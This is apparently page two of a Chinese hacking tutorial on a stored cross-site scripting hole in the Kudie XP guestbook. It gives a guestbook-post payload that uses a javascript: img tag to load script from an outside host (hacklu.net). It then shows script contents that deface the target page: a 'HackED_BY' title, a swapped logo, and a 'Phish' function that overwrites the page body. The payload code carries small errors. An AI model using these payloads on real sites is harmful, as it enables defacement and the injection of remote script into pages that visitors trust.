酷蝶XP留言簿的跨站利用

直接在签写留言中写入：

以下是引用片段： [ img]javascript:s=document.createElement("script");s.src="http://hacklu.net/test/1.js%22;document.body.appendChild(s);[/img]

如图3所示。

　先来改下标题吧，直接在1.js里填上如下内容：document.title="HackED_BY_樱花浪子"，在看看标题栏，如图4所示，当然还可以改LOGO图片了，只要在JS里改成：
document.images[0].src='/Article/UploadFiles/200801/20080127230648969.gif';看看已经改成黑客手册了，图5所示。


　如果你觉得还不爽，那我们来改BODY里内容，直接在JS里写成如下内容：

以下是引用片段： function Phish(){ info = "樱花浪子到些一游！" document.write(info); } function doit(){ setTimeout("Phish()", 1000 ); }doit()

 

上一页  [1] [2] [3] 下一页